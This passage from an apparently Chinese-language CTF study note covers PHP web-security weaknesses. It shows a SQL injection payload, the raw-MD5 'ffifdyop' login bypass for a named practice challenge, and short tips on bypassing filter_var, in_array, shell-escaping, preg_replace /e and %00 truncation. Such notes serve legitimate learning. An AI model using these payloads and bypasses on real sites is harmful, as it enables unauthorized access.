<li>fuzz</li>
</ul>
<p></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-SQL line-numbers">user= OR 1=1#&passwd=128
</code></pre>
<ul>
<li>SQL</li>
</ul>
<pre><code class="language-SQL line-numbers">select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'
</code></pre>
<h3>实例分析</h3>
<ul>
<li>题目地址</li>
</ul>
<pre><code class="line-numbers">http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
</code></pre>
<h3>分析</h3>
<ul>
<li>查看源代码</li>
</ul>
<p></p>
<ul>
<li>password</li>
</ul>
<pre><code class="language-php line-numbers">md5($password,true)
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">password=ffifdyop或者129581926211651571912466741651878684928
</code></pre>
<ul>
<li>测试</li>
</ul>
<p></p>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="line-numbers">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="line-numbers">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="line-numbers">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="line-numbers">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="line-numbers">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量
</code></pre>
<ul>
<li>preg_replace</li>
</ul>
<pre><code class="line-numbers">$pattern 存在 /e 模式修正符，允许代码执行
/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<ul>
<li>readfile</li>
</ul>
<pre><code class="line-numbers">可利用 ../http/../../ 跳过目录（如检测关键字https是否存在）
</code></pre>
<ul>
<li>截断</li>
</ul>
<pre><code class="line-numbers">%00 遇到遇到函数过滤会成为\0
</code></pre>
<ul>
<li>反序列化</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://syst1m.com/post/php-deserialization/">PHP 反序列化漏洞学习</a></p>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>$_SERVER[‘REQUEST_URI’]</li>
</ul>
<pre><code class="line-numbers">获取的参数是不会将参数中的特殊符号进行转换
</code></pre>
<ul>
<li>HPP</li>
</ul>
<pre><code class="line-numbers">id=1&id=2 只会接收第二个参数
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<p><em>在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
<li>eregi截断漏洞</li>
</ul>
<p><em>ereg可用%00截断,要求php<5.3.4</em></p>
<pre><code class="line-numbers">ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
</code></pre>
<ul>
<li>ssrf</li>
</ul>
<p><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf"> us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages</a></p>

</article>
</main></body></html>